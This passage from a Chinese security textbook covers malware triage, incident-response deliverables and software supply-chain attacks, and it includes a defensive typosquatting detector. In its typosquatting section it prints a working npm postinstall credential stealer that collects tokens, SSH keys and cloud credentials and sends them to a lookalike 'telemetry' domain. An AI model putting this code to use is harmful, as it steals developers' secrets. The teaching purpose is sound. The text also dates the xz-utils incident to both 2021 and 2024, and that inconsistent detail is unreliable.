[ ] 1. 算 MD5/SHA1/SHA256
[ ] 2. ★ 用哈希查 VirusTotal / 微步(不上传文件!)
[ ] 3. file 命令确认真实类型(别信扩展名)
[ ] 4. ★ strings -a -el 提取字符串(★ UTF-16)
[ ] 5. 从字符串里找:URL、IP、域名、路径、互斥体、PDB 路径
[ ] 6. pestudio 看 PE 结构:
       - 编译时间戳
       - 节区名(有没有 UPX0/.vmp0 这种加壳特征)
       - ★ 导入表(看它能干什么)
       - 数字签名
[ ] 7. DIE 确认加壳类型
[ ] 8. CAPA 自动生成能力清单(★ 可直接贴报告)
[ ] 9. Floss 提取被混淆的字符串
[ ] 10. 提取 IOC,去情报平台查
[ ] 11. ★(如需动态行为)沙箱跑一次(注意:公司敏感样本用本地沙箱)
[ ] 12. 写 YARA 规则,用于全网清扫

清单 E:一次事件的完整交付物

★ 事件处置完成后,应该留下这些:

① 【事件报告】
   - 执行摘要(给管理层,1~2 页)
   - 攻击叙述(时间线 + 每一跳的证据)
   - 详细发现(每条:描述 + 证据 + 影响 + 修复建议 + 验证方法)
   - 根因分析
   - ★ 改进项清单(owner + deadline)
   - 附录:技术细节

② 【时间线】
   - 完整时间线(UTC,标注时区)
   - ★ 标注每个事件的证据来源

③ 【IOC 清单】
   - 网络类(IP、域名、URL、JA3)
   - 文件类(哈希、路径、imphash、签名)
   - 主机类(互斥体、注册表键、服务名)
   - ★ 标注 TLP 等级
   - ★ 录入内部情报库(MISP)

④ 【检测规则】
   - 针对本次攻击手法的 Sigma / EDR 规则
   - ★ 验证记录(用 Atomic Red Team 打过,能抓到)

⑤ 【证据包】
   - 内存镜像、磁盘镜像、采集的文件
   - ★ 哈希清单
   - ★ 证据链表格
   - ★ 存储位置、保留期限、访问权限

⑥ 【复盘报告】
   - 完整时间线
   - 五个为什么的根因分析
   - ★ 做对了什么(不能只写问题)
   - 改进项(owner + deadline + 验收标准)

⑦ 【预案更新】
   - 这次暴露的预案问题
   - 更新后的预案版本

★ 最重要的:这些都要【归档并可检索】
  半年后有人问"去年那次事件是怎么处理的",
  你要能立刻翻出来

8.12.4 五句话记忆法

① 取证的机会只有一次 —— 先内存后磁盘,先取证后处置
   (专业的和业余的应急响应,差别就在最初那五分钟)

② 你永远无法 100% 查清楚 —— 写"基于现有证据",不写"事实是"
   把不确定性告诉业务方,用蜜标和监控兜底
   (过度自信比没有结论更危险)

③ IOC 找已知,IOA 抓未知 —— 检测规则要描述行为,不描述特征
   ("非白名单进程读 LSASS" 胜过 "进程名 = mimikatz")

④ 应急响应是准备出来的 —— 工具放 U 盘、联系人有手机、
   预案一页纸、不演练等于没有预案

⑤ 复盘的价值大于处置的价值 —— 处置解决这一次,复盘解决每一次
   核心是无责:人不会犯错,是系统允许了错误的发生

8.12.5 本章与其他章节的关系

  ┌──────────────────────────────────────────────┐
  │  第六章:主机安全(提权、持久化)             │
  │  第七章:内网横向(PTH、票据、域持久化)      │
  └───────────────┬──────────────────────────────┘
                  │ 攻击者留下的痕迹
                  ▼
  ┌──────────────────────────────────────────────┐
  │  第八章:DFIR(本章)                         │
  │                                               │
  │  第六章告诉我们"攻击者会留什么后门"           │
  │  → 本章告诉我们"去哪里找这些后门"             │
  │                                               │
  │  第七章告诉我们"检测要看哪些日志"             │
  │  → 本章告诉我们"怎么系统性地分析这些日志"     │
  │                                               │
  │  ★ 六、七章是"攻"的视角,本章是"防 + 溯"的视角│
  └───────────────┬──────────────────────────────┘
                  │
      ┌───────────┼───────────┬───────────┐
      ▼           ▼           ▼           ▼
  ┌────────┐ ┌─────────┐ ┌─────────┐ ┌──────────┐
  │第九章  │ │第十章   │ │第十一章 │ │第十二章  │
  │软件供应链│ │Serverless│ │Web3     │ │数据合规  │
  │        │ │云原生   │ │智能合约 │ │          │
  │ 另一条 │ │ 新的    │ │         │ │ ★ 本章的│
  │ 进入   │ │ 取证    │ │         │ │  取证与  │
  │ 路径   │ │ 场景    │ │         │ │  上报是  │
  │        │ │         │ │         │ │  合规的  │
  │        │ │         │ │         │ │  前提    │
  └────────┘ └─────────┘ └─────────┘ └──────────┘
                  │
                  ▼
  ┌──────────────────────────────────────────────┐
  │  第十三章:综合实战题                         │
  │  第十四章:面试题总汇总                       │
  └──────────────────────────────────────────────┘

本章知识的三个延伸方向

方向一:往"云"走 → 第十章 云原生
  ★ 云的取证跟传统主机完全不同,这是新的挑战:
    - 你拿不到物理磁盘 → 只能做快照
    - 实例可能是短暂的(跑几小时就没了)→ ★ 内存取证几乎不可能
    - 日志是 API 拉取的(CloudTrail)→ 保留期和权限要提前配置
    - 责任共担模型 → 有些东西你看不到(底层基础设施)
    - ★ 共享责任:IaaS 你能取证,SaaS 你只能拿它给的日志

  ★ 但有些原则是相通的:
    - 易失性顺序(云上:快照 > 日志导出 > 其他)
    - 证据链(云上的快照也要算哈希)
    - ★ 日志集中化(云上更重要,因为实例会消失)

方向二:往"合规"走 → 第十二章 数据合规
  ★ 本章学到的取证能力,是合规的【技术基础】:
    - 等保 2.0 要求"安全事件处置"要有流程、有记录、有报告
      → ★ 就是本章的应急响应六阶段 + 交付物清单
    - 个保法要求数据泄露要"立即采取补救措施"并上报
      → ★ 需要本章的"确定泄露范围"能力
    - 密评、等保都要求日志留存 6 个月以上
      → ★ 就是本章强调的"日志集中化 + 保留期"

方向三:往"情报"走 → 威胁情报与狩猎
  ★ 本章的 IOC 提取是情报的【输入端】
  → 沉淀到 MISP
  → 关联发现"同一伙人又来了"
  → 转化为检测规则(Sigma)
  → ★ 形成"事件 → IOC → 情报 → 检测 → 新事件"的正循环

本章到此结束。下一章进入软件供应链安全——攻击者的另一条进入路径:不是攻破你的系统,而是攻破你依赖的东西。

第九章:软件供应链安全深度(你依赖的每一行代码都是攻击面)

本章定位:前面八章讲的主要是“攻击者怎么打你的系统”。 但有一类攻击更狠 —— 他不打你的系统,他打你“拿代码的地方”。

传统攻击:      攻击者 ──硬碰硬──> 你的服务器(要突破你的防火墙)
供应链攻击:    攻击者 ──> 你信任的第三方 ──> 自动进入你的服务器

                         ↑
                 你主动把他请进来的
                 (你执行了 npm install)

★ 一句话概括供应链攻击:
  攻击者不攻击你的城堡,而是在给你的"建材"里下毒,
  然后由你自己把有毒的砖砌进城墙。

本章回答五个问题

① 供应链攻击到底有哪些入口?为什么近五年突然这么多?
② 攻击者往开源包里下毒,具体有哪几种姿势?(拼写抢注 / 依赖混淆 / 账号劫持 ...)
③ 我怎么证明"我发布的这个包/镜像,确实是我构建出来的,中途没被人动过"?
   → SLSA、Sigstore/cosign、in-toto、可复现构建
④ 我怎么知道自己的系统里到底用了哪些组件?(出 Log4Shell 这种事时,一小时内要能答出来)
   → SBOM、VEX
⑤ CI/CD 流水线本身怎么被打穿?我的 npm 私服/镜像仓库怎么配才安全?

为什么这章对普通开发也重要

场景:2021 年 12 月 10 日,Log4Shell(CVE-2021-44228)爆发,CVSS 10.0。

老板/安全部在群里问了一句:
  "我们有多少系统用了 log4j-core 2.x?列个清单,今晚就要。"

  ❌ 没有 SBOM、没有资产清单的团队:
     几十个人翻代码、grep pom.xml,通宵,第二天勉强报上来 37 个,
     上线两周后又发现漏了 12 个(在某个 jar 的依赖里、在某个 Docker 基础镜像里)。

  ✅ 有 SBOM 的团队:
     一条命令查所有仓库的 SBOM,10 分钟出清单,还知道哪些是"真的被 JNDI 路径触达"的。

这个差距,就是供应链治理的价值。

本文档名词速查(第九章涉及)

名词 白话解释 出处
供应链攻击 不直接打你,而是打你信任的上游(开源包、构建工具、CI、镜像),让它替你把恶意代码送进来 9.1.1
上游(Upstream) 你依赖的那一方。你用 log4j,log4j 就是你的上游 9.1.1
依赖投毒 在正常开源包里塞恶意代码(或发布一个假的包) 9.2
Typosquatting(拼写抢注) 注册一个和热门包名字很像的假包(如 reqeusts 冒充 requests),等你手滑打错 9.2.1
依赖混淆(Dependency Confusion) 私服里有内部包 acme-utils,攻击者在公网 npm 注册同名包且版本号更高,包管理器装了公网的 9.2.2
命名空间(Namespace)/ Scope 包名的归属前缀,如 npm 的 @acme/xxx、Maven 的 groupId 9.2.2
Lockfile 锁文件(package-lock.json 等):把每个依赖的精确版本 + 哈希写死 9.2.5
传递依赖 你依赖 A,A 又依赖 B,B 就是你的传递依赖(你根本没写过它) 9.1.5
生命周期脚本 包安装时自动执行的脚本(npm 的 postinstall、Python 的 setup.py) 9.2.4
SBOM Software Bill of Materials:软件物料清单,你软件里所有组件的“配料表” 9.4.1
SPDX / CycloneDX 两种主流的 SBOM 格式标准(前者偏合规,后者偏安全) 9.4.2
VEX 漏洞可利用性交换:声明“这个 CVE 在我这儿其实影响不到,因为…”,用来消警 9.4.3
SLSA Supply-chain Levels for Software Artifacts:Google 提出的供应链安全分级(0~4 级) 9.3.1
Provenance(来源证明) 一份“出生证明”:谁、什么时候、用什么源码、什么构建命令,产出了这个制品 9.3.1
Sigstore 一个免费的代码签名服务,让“给制品签名”像装 HTTPS 证书一样零成本 9.3.2
cosign Sigstore 项目里的命令行工具,用来给容器镜像和文件签名、验签 9.3.2
Keyless Signing(免密钥签名) 不用自己保管私钥,用 OIDC 登录身份换一张 10 分钟有效的临时证书来签名 9.3.2
OIDC(OpenID Connect) 基于 OAuth2 的身份认证协议,CI 里用它向云厂商“自报家门”换临时凭证 9.5.4
in-toto 一套框架,把构建过程拆成若干“步骤”,逐步签名,防止某一步被跳过或篡改 9.3.3
可复现构建(Reproducible Builds) 同样的源码 + 同样的环境,任何人构建出的二进制逐字节相同 9.3.4
制品(Artifact) 构建产物:jar、npm 包、容器镜像、二进制文件 9.3
Attestation(证明/声明) 关于某个制品的一段“签过名的陈述”(如“这个镜像通过了安全扫描”) 9.3.2
PPE(Poisoned Pipeline Execution) 污染流水线执行:改 CI 配置或 CI 依赖的代码,让流水线替攻击者干活 9.5.1
Self-hosted Runner 自建的 CI 执行机(GitHub Actions 语境),权限大、风险高 9.5.3
Fork PR / PR 投毒 外部 contributor 提的 PR 触发 CI,如果配置不当会拿到仓库密钥 9.5.2
制品仓库 / 私服 公司自己搭的包仓库(Nexus / Artifactory),缓存并托管内部包 9.6.1
仓库代理(Proxy) 私服替你去公网拉包并缓存,避免每个人都直连公网 9.6.1
缓存投毒 私服第一次拉到的包被污染,之后所有人都拿到有毒版本,且很难发现 9.6.1
准入控制(Admission Control) K8s 里的“守门员”,镜像不合规则不让部署 9.7.3
Distroless 镜像 只装你的程序和运行时,连 shell 都没有的极简镜像 9.7.2
Provenance 验证 部署前检查“这个镜像是不是我们自己的流水线构建的” 9.7.3
GuardDog / Socket.dev 专门检测“恶意开源包”的工具(看行为特征,不只是 CVE) 9.8.2
OSV 开源漏洞数据库(Google 主导),多个语言的 CVE 汇总查询 9.8.2
Confusion 检测 检查你的内部包名是否在公网被抢注 9.2.2

9.1 先讲清楚:供应链攻击到底是什么

9.1.1 一句话定义 + 一个生活类比

定义:供应链攻击(Supply Chain Attack)指攻击者不直接攻击最终目标,而是攻击目标所信任的上游环节(开源库、开发工具、构建系统、分发渠道、硬件固件),利用这种“已有的信任关系”,让恶意代码由目标自己主动加载执行。

生活类比:面包厂的芝麻

你是全城最大的面包连锁店,安保很严:
  - 门口有保安、有监控、有金属探测
  - 员工进厂要刷三次卡
  - 配方锁在保险柜里

攻击者研究了三个月,发现正面进不去。
于是他换了个思路:

  他不去面包厂,他去了给面包厂供【芝麻】的供应商那儿,
  花了两个月应聘成了仓库管理员,
  在某个周二下午,往一批芝麻里掺了一种无色无味的泻药。

  第二天,这批芝麻被正常签收、正常入库、正常撒在面包上。
  面包厂所有的安检都没用 —— 因为【芝麻本来就是允许进来的东西】。

  全城 300 家门店,当天同时出事。

★ 这个类比里有三个供应链攻击的核心特征:
  ① 攻击的是"被信任的环节",不是目标本身
  ② 恶意内容通过【正常流程】进入,不触发任何异常警报
  ③ 一次投毒,影响所有下游(放大效应)

对应到软件:

面包厂类比 软件世界
面包厂(安保严密) 你的公司(有 WAF、有防火墙、有 SOC)
芝麻供应商 开源社区 / npm registry / Maven Central / GitHub
芝麻(本来就允许进厂) 开源依赖(你 npm install 主动拉下来的)
应聘成仓库管理员 攻击者成为开源项目维护者(或劫持维护者账号)
往芝麻里掺东西 在开源包里加恶意代码
300 家门店同时出事 全球几十万家公司同时被影响

9.1.2 为什么近五年突然爆发:四个结构性原因

这不是“攻击者变聪明了”,而是软件行业的生产方式变了,给攻击者创造了结构性机会。

原因一:依赖数量爆炸,且绝大多数是【传递依赖】

  一个典型 Java 项目的依赖树(2026 年):
    你自己写在 pom.xml 里的:        约 30 个
    实际打进 jar 包的(含传递依赖): 约 180~400 个

  一个典型前端项目:
    package.json 里直接声明的:       约 40 个
    node_modules 里实际装的:        1200~2000 个包

  ★ 关键:那 1900 个包,你一个都没审查过,甚至不知道它们的存在。
    它们只是"你依赖的包,所依赖的包,所依赖的包"。

原因二:开源维护模式是"用爱发电",缺乏安全投入

  2021 年 xz-utils 事件(后文详述)揭示的真相:
    xz 是全球几乎所有 Linux 发行版都在用的压缩库,
    但它的核心维护者只有 1 个人,长期疲劳维护。

    攻击者"Jia Tan"花了两年多参与项目、
    提交正常代码、建立信任、施压原维护者让权,
    最终成为共同维护者后才植入后门。

  ★ 这是"社会工程 + 长期潜伏",不是技术漏洞。
    你无法用任何扫描器发现一个"人"是敌对的。

原因三:自动化流水线 = 一条无人值守的自动化通道

  现代开发的流程是:
    提交代码 → CI 自动构建 → 自动测试 → 自动打包 → 自动部署

  这条链路上没有任何一个环节需要"人再去确认一遍"。
  所以只要攻击者能让恶意代码进入这条链路中的【任何一环】,
  它就会被自动、静默地送到生产环境。

  ★ 这就是 9.5 要讲的 PPE(Poisoned Pipeline Execution)。
    流水线的自动化程度越高,被劫持后的危害越大。

原因四:分发渠道本身缺乏完整性校验

  很多包管理器的历史设计里,
  "你下载的包" 和 "维护者上传的包" 之间没有强制的密码学绑定:
    - 可以上传一个和上次不同内容、但同版本号的包(部分旧生态)
    - 可以在 CI 里被替换
    - 可以在传输过程中被中间人替换(如果没走 HTTPS)

  ★ 这就是 SLSA / Sigstore / cosign 要解决的问题(9.3 节)。
    核心诉求一句话:【让"我构建的东西"和"你运行的东西"能被证明是同一个】。

9.1.3 七个真实案例(每个都要能讲出“攻击者是怎么做的”)

面试时讲供应链,能说出案例和攻击手法比背概念有说服力得多。这张表建议记住 4 个以上。

年份 事件 攻击手法(一句话) 影响面 关键教训
2017 CCleaner 后门 攻陷开发商 Avast 的构建服务器,在官方安装包里植入后门,正常签名发布 227 万下载, targeted 到 20 家科技公司(思科、微软、谷歌等) 攻击者瞄准的是构建环节,不是源码。签名只能证明“是这家公司签的”,不能证明“构建过程是干净的”
2018 event-stream 原维护者不想维护了,攻击者主动提出“我来接手”,取得发布权限后,在 3.1.6.0 版加入窃取比特币钱包的代码 每周 200 万次下载,持续 2 个月才被发现 维护者权限移交是个巨大风险点;恶意代码藏在一个只有特定项目才会走到的代码路径里
2020 SolarWinds 攻陷 SolarWinds 的构建系统(Sunburst),在 Orion 软件的正常升级包中植入后门,用合法数字签名发布 18000 家客户下载,约 100 家被进一步利用(含美国多个政府部门) ★ 这是供应链攻击的“教科书案例”。它证明了:你的软件供应商有多可信,你的安全性上限就有多低
2021 Log4Shell (严格说是漏洞不是投毒)log4j 的 JNDI 查找功能允许远程加载并执行代码 全球数亿设备受影响,被称为“史上最严重的漏洞之一” 一个你根本不知道自己用了的传递依赖,可以造成 10 分漏洞 → 所以必须有 SBOM(9.4 节)
2021 node-ipc / peacenotwar 作者为抗议战争,在自己维护的包里加入“擦盘”代码(对俄罗斯/白俄罗斯 IP 写满 ❤️ 到所有文件) 大量项目构建失败,vue-cli 等被波及 不被信任的不只是“坏人”,还有“会突然改变立场的自己人”。→ 必须 lockfile 锁死版本
2022 node-fetch / colors.js 维护者故意发布一个“无限循环”版本作为抗议(colors.js),导致大量项目崩溃 数万项目构建失败 同上:版本号是可变的,必须用哈希锁定
2024 xz-utils 后门 (CVE-2024-3094) 攻击者潜伏 2 年成为共同维护者,在 5.6.0/5.6.1 的发布 tarball 中植入后门(不在 git 仓库里!),可劫持 sshd 认证实现远程代码执行 CVSS 10.0,若未被发现将影响全球几乎所有 Linux 服务器 ★ ★ 最值得讲的一个:后门只存在于发布包中,源码仓库里没有。这直接说明“只审查源码是不够的”,必须验证“发布物 == 源码构建的产物”(可复现构建,9.3.4)

xz-utils 的细节值得展开讲(面试加分点,且最能说明供应链的深层问题):

xz-utils 后门的精妙之处(攻击者做了什么):

① 后门的二进制代码藏在两个"测试文件"里(tests/files/bad-3-corrupt_lzma2.xz)
   → 这些文件看起来就是普通的测试数据,不容易被审查
   → 而且它们是二进制的,git diff 看不出问题

② 构建脚本(build-to-host.m4)在【特定条件】下才把这段二进制提取并链接进去
   触发条件:
     - x86_64 Linux
     - 使用 glibc
     - 通过 dpkg/rpm 构建(即发行版打包流程,不是开发者的手动编译)
     - 且链接了 libsystemd(间接被 sshd 依赖)
   → ★ 开发者自己编译测试时【完全不会触发】,所以很难被发现

③ 后门生效后 hook 了 RSA_public_decrypt 函数
   → 攻击者用特定私钥制作的 SSH 证书,可以通过 sshd 的认证
   → 效果:拿到服务器 root,无需密码、无日志

④ ★★★ 最关键的一点:
   【git 仓库里的源码是干净的,恶意代码只在官方发布的 .tar.gz 里】
   因为发行版用的是发布 tarball,不是 git clone。
   而 GitHub 上大家 review 的是 git 源码。

   → 这意味着"看源码"这个动作从根本上失效了。
   → 唯一的解法:可复现构建(9.3.4)—— 我拿你的 git 源码自己编一个,
      跟你的发布包逐字节比对,对不上就说明有问题。

⑤ 它被发现的方式很有戏剧性:
   微软工程师 Andres Freund 在做 PostgreSQL 性能测试时,
   发现 sshd 的 CPU 占用异常高(比平时多了 0.5 秒),
   顺手查了一下 valgrind,才挖出这个后门。

   → 教训:★ 后门往往不是被安全工具发现的,而是被"觉得有点不对劲"的人发现的。

9.1.4 供应链攻击 vs 传统攻击:为什么它更难防

维度 传统攻击(直接打你) 供应链攻击(打你的上游)
信任关系 攻击者是“陌生人”,你的系统默认不信任他 攻击者借用的是你已经授予的信任(依赖是允许加载代码的)
进入方式 要突破边界(找漏洞、爆破、钓鱼) 你自己执行 npm install / docker pull,主动把他请进来
权限 从低权限起步,还要提权 ★ 直接在你的构建机/开发机上执行,且常常是构建时执行(那时可能有 CI 密钥)
检测难度 有异常流量、异常登录,容易被 IDS/EDR 抓到 行为看起来完全正常(一个包做网络请求,太常见了)
杀毒/EDR 效果 通常有效 常常无效:恶意包会被加入白名单、白利用常见工具(curl、powershell)
影响范围 一家公司 ★ 一次投毒,影响所有下游用户(放大 10 万倍)
修复成本 打补丁 ★ 要升级版本、重新构建、重新部署,还要排查“已经被窃取了什么”
责任归属 你自己没防好 你的供应商没防好 —— 但你还是要承担后果
可预防性 相对可控 ★ 你无法控制上游,只能控制“我怎么验证 + 我怎么限制它的破坏力”

面试话术: “供应链攻击和传统攻击最本质的区别,是它利用的是信任而不是漏洞。 传统攻击里攻击者是门外的人,你的系统默认不信任他,他要突破边界; 供应链攻击里,攻击者站在门里面,是你自己把他请进来的 —— 你执行了 npm install。

所以防供应链的思路和防传统攻击完全不同: 传统攻击靠’堵漏洞’, 供应链靠’验证来源 + 限制权限 + 缩小爆炸半径’ —— 我不能保证上游不出事,但我可以保证: ① 出事了我第一时间知道(SBOM + 监控) ② 它拿不到我 CI 里的密钥(最小权限、OIDC 短时效) ③ 它就算执行了也连不出去(构建机无外网 / 出口白名单) ④ 它进不了我的生产环境(制品签名 + 准入控制)“

9.1.5 一个残酷事实:你根本不可能审查所有依赖

先算一笔账,这决定了后面所有防御策略的设计基调。

# 看看你项目里到底有多少依赖
# === npm 生态 ===
npm ls --all --parseable 2>/dev/null | wc -l
# 一个中等前端项目典型输出:1400 ~ 2000

# === Maven 生态 ===
mvn dependency:tree | grep -c "^\[INFO\] [+\\\\|]"
# 一个中等 Java 项目典型输出:180 ~ 400

# === Python ===
pipdeptree | wc -l
算一下审查成本:

  假设你有 1500 个 npm 依赖。
  假设一个工程师认真审查一个包(读源码、看行为)需要 2 小时。

  全审查一遍:3000 小时 ≈ 1.5 人年。
  而 npm 包平均每 30 天就有版本更新,你要【每月】重做一次。

  ★ 结论:100% 人工审查在数学上不可能。
     所以真正的做法是【分层防御】而不是【全量审查】:

     第 1 层(99% 的包):自动化扫描 + 行为监控,接受"有漏网之鱼"
     第 2 层(1% 的关键包):加密、支付、认证相关的依赖,人工重点审查
     第 3 层(所有包):锁死版本 + 哈希(防止"昨天还是好的包,今天变坏了")
     第 4 层(兜底):限制爆炸半径 —— 就算有一个包是恶意的,它也干不成事
                     (构建机不给密钥、不给外网、容器里不给 root、只读文件系统)

★ 后面 9.2~9.8 讲的所有措施,本质都是在这四层里做文章。

9.2 依赖投毒的五种姿势

这一节是本章最“实战”的部分。五种姿势按攻击者成本从低到高排列。

姿势一:Typosquatting(拼写抢注)          ← 成本最低,注册个名字就行,广撒网
姿势二:依赖混淆(Dependency Confusion)    ← 成本很低,但需要知道你的内部包名
姿势三:账户劫持 / 维护者社会工程            ← 成本中等,要钓鱼或者社工
姿势四:生命周期脚本投毒                    ← 成本中等,但通常配合前三种使用
姿势五:版本回滚 / Lockfile 绕过            ← 成本较高,需要已有发布权限

9.2.1 姿势一:Typosquatting(拼写抢注)

原理:注册一个和热门包名字极其相似的恶意包,赌你打错字。

# 真实的拼写抢注案例(这些包都曾出现在 npm / PyPI 上)
requests      →  reqeusts / request / requsts / python-requests   # Python 的 requests
lodash        →  lodahs / lodashs / loadsh / lodash-js
react         →  raect / reactt
django        →  dajngo / diango
numpy         →  numpi / numpyy / nump
cross-env     →  crossenv / cross-env.js / crossenve
colors        →  colour / colrs
tensorflow    →  tensorfow / tensorflow-gpu-estimator
axios         →  axois / axioss / aixos
babel-cli     →  babele-cli / balel-cli

# ★ 还有几种变体,不只是"打错字":
#   ① 分隔符变体:     socket.io  → socketio / socket-io
#   ② 前缀/后缀变体:  lodash     → lodash-utils / lodash-extra / node-lodash
#   ③ 大小写变体:     Express    → express (某些生态大小写不敏感的旧工具)
#   ④ 组合词抢注:     requests   → requests-http / requests2 (暗示"官方第二版")

为什么这招有效:

① 手滑打错字是人类的必然行为(尤其深夜加班)
② 自动补全经常把你引向错误的包(IDE 里输 req → 补全列表里有 reqeusts)
③ LLM 生成代码时会"幻觉"出不存在的包名,攻击者可以直接抢注这些名字
   ★ 这是 2024 年之后的新趋势:研究人员发现,
     向主流 LLM 询问"某个功能的库",让它生成 100 次,
     收集它编造出来的包名,去 npm 注册,真的能拿到下载量。
④ 复制粘贴教程代码时,教程里的包名可能本身就是错的(甚至教程是攻击者写的)

攻击载荷长什么样(一个真实的简化版):

// 恶意包 reqeusts 的 package.json
{
  "name": "reqeusts",
  "version": "1.0.0",
  "description": "A tiny wrapper around requests (typo fix)",  // ← 伪装成"官方修正版"
  "main": "index.js",
  "scripts": {
    "postinstall": "node install.js"     // ★ 安装完自动执行
  }
}
// install.js —— 安装时自动执行,偷环境变量和 SSH 私钥
const os = require('os');
const fs = require('fs');
const path = require('path');
const https = require('https');
const { execSync } = require('child_process');

// ① 收集机器指纹(判断是不是有价值的 CI 环境)
const HOME = os.homedir();
const isCI = !!(process.env.CI || process.env.GITHUB_ACTIONS ||
                process.env.GITLAB_CI || process.env.JENKINS_URL);

const data = {
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  isCI: isCI,
  // ★ ② 偷环境变量 —— CI 里通常有云厂商密钥、发布 token
  env: Object.fromEntries(
    Object.entries(process.env).filter(([k]) =>
      /TOKEN|KEY|SECRET|PASSWORD|CREDENTIAL|AUTH|_URI$/i.test(k)
    )
  ),
  // ★ ③ 读常见凭据文件
  files: {}
};

const targets = [
  '.ssh/id_rsa', '.ssh/id_ed25519', '.aws/credentials', '.npmrc',
  '.docker/config.json', '.kube/config', '.git-credentials',
  '.bash_history', '.zsh_history', '.env'
];

for (const f of targets) {
  try {
    const p = path.join(HOME, f);
    if (fs.existsSync(p)) {
      data.files[f] = fs.readFileSync(p, 'utf8').slice(0, 50000); // 截断避免太大
    }
  } catch (e) { /* 静默失败,不能报错,否则用户会察觉 */ }
}

// ★ ④ 外传:伪装成"遥测"请求,走 HTTPS,混在正常流量里
const payload = Buffer.from(JSON.stringify(data)).toString('base64');
const req = https.request({
  hostname: 'telemetry.npmjs-metrics.com',   // ← 看起来很官方的域名
  path: `/v1/beat?d=${encodeURIComponent(payload)}`,
  method: 'GET',
  headers: { 'User-Agent': 'npm/9.5.0 node/v18.15.0' }  // ← 伪装 UA
}, (res) => { /* 不关心响应 */ });

req.on('error', () => {});  // ★ 出错也静默,绝不打断安装流程
req.end();

// ★ ⑤ 最后假装什么都没发生,甚至可以正常完成安装
console.log('reqeusts installed successfully');

★ 这类恶意包的设计原则(值得记住,也是检测时的抓手):

① 绝不报错 —— 安装失败会引起注意,所以所有异常都 try/catch 吞掉
② 绝不拖慢 —— 网络请求走异步或超时很短,用户不会觉得"变慢了"
③ 绝不创造新文件 —— 只在内存里操作,不留磁盘痕迹
④ 伪装流量 —— 域名长得像官方(npmjs-metrics.com vs npmjs.com),UA 伪装
⑤ 数据分段 —— 用 GET 参数、DNS 查询、甚至 GitHub 的 star 行为外传数据
⑥ 延迟执行 —— 有些包安装时不作恶,而是在几周后的某个 update 里才加入恶意代码
             (先积累下载量和信任,再收割)

防御 1:检测脚本(检查项目里有没有疑似抢注包)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
typosquat_check.py —— 检测项目依赖中是否存在疑似拼写抢注的包

原理:
  1. 读取项目的依赖列表(package-lock.json / requirements.txt / pom.xml)
  2. 对每个包名,和"热门包白名单"做相似度比对
  3. 对高度相似但【不完全相同】的包,高亮报警

使用方法:
  python typosquat_check.py ./package-lock.json
  python typosquat_check.py ./requirements.txt

依赖:pip install python-Levenshtein  (没有也能跑,会退化到 difflib)
"""
import json
import re
import sys
from pathlib import Path

try:
    import Levenshtein
    def distance(a: str, b: str) -> int:
        return Levenshtein.distance(a, b)
except ImportError:
    from difflib import SequenceMatcher
    def distance(a: str, b: str) -> int:
        """用 difflib 近似模拟编辑距离(比 Levenshtein 慢但无需安装)"""
        matcher = SequenceMatcher(None, a, b)
        ops = matcher.get_opcodes()
        d = 0
        for tag, i1, i2, j1, j2 in ops:
            if tag == 'replace':
                d += max(i2 - i1, j2 - j1)
            elif tag == 'delete':
                d += (i2 - i1)
            elif tag == 'insert':
                d += (j2 - j1)
        return d


# ★ 热门包白名单(真实项目里应该接 npm/PyPI 的下载量 API 动态获取前 N 名)
#    这里列出最常见的,作为演示
POPULAR_NPM = [
    'lodash', 'react', 'react-dom', 'axios', 'express', 'chalk', 'commander',
    'moment', 'dayjs', 'webpack', 'babel', 'eslint', 'prettier', 'jest',
    'vue', 'typescript', 'uuid', 'classnames', 'redux', 'qs', 'debug', 'yargs',
    'cross-env', 'dotenv', 'request', 'bluebird', 'async', 'underscore',
]
POPULAR_PYPI = [
    'requests', 'numpy', 'pandas', 'flask', 'django', 'boto3', 'pytest',
    'scipy', 'matplotlib', 'pillow', 'tensorflow', 'torch', 'setuptools',
    'six', 'pyyaml', 'click', 'jinja2', 'sqlalchemy', 'celery', 'redis',
    'python-dateutil', 'urllib3', 'certifi', 'charset-normalizer', 'idna',
]


def parse_package_lock(path: Path):
    """解析 npm 的 package-lock.json(lockfileVersion 2/3)"""
    data = json.loads(path.read_text(encoding='utf-8'))
    names = set()
    # lockfileVersion 3: 所有包在 "packages" 下,key 是路径 node_modules/xxx
    for key in data.get('packages', {}):
        # node_modules/@scope/name → @scope/name
        m = re.search(r'node_modules/((?:@[^/]+/)?[^/]+)$', key)
        if m:
            names.add(m.group(1))
    # lockfileVersion 1: 在 "dependencies" 下
    def walk(deps):
        for name, info in (deps or {}).items():
            names.add(name)
            walk(info.get('dependencies'))
    walk(data.get('dependencies'))
    return sorted(names)


def parse_requirements(path: Path):
    """解析 Python 的 requirements.txt"""
    names = set()
    for line in path.read_text(encoding='utf-8').splitlines():
        line = line.strip()
        if not line or line.startswith('#') or line.startswith('-'):
            continue
        # 去掉版本约束和 extras: requests[security]>=2.0 → requests
        name = re.split(r'[<>=!~\[;]', line)[0].strip()
        if name:
            names.add(name.lower())
    return sorted(names)


def suspicious_of(name: str, popular_list, threshold: int = 2):
    """
    判断包名是否疑似某个热门包的拼写抢注

    判定规则(任一命中即报警):
      1. 编辑距离 <= threshold 且不完全相同
      2. 去掉分隔符/连字符后与热门包相同(socket-io vs socket.io)
      3. 以热门包名为前缀且加了常见后缀(-js / -utils / 2 / -cli 等)
    """
    hits = []
    low = name.lower()
    compact = re.sub(r'[-_.]', '', low)          # 去掉分隔符
    for pop in popular_list:
        if low == pop:
            return []                             # 完全匹配 = 白名单包,跳过

        # 规则 1:编辑距离
        d = distance(low, pop)
        if 0 < d <= threshold:
            hits.append((pop, f'编辑距离仅 {d}({pop} → {name})'))

        # 规则 2:去掉分隔符后相同
        elif compact == re.sub(r'[-_.]', '', pop.lower()):
            hits.append((pop, f'去掉分隔符后完全相同({pop} vs {name})'))

        # 规则 3:热门包名 + 常见后缀
        elif low.startswith(pop) and re.fullmatch(
                pop + r'[-_.]?(js|utils?|tools?|extra|ext|cli|core|lib|next|2|3|official)',
                low):
            hits.append((pop, f'热门包名 + 常见后缀({pop} + 后缀)'))
    return hits


def main():
    if len(sys.argv) < 2:
        print('用法: python typosquat_check.py <package-lock.json|requirements.txt>')
        sys.exit(1)

    target = Path(sys.argv[1])
    if target.name == 'package-lock.json':
        names = parse_package_lock(target)
        popular = POPULAR_NPM
    else:
        names = parse_requirements(target)
        popular = [p.lower() for p in POPULAR_PYPI]

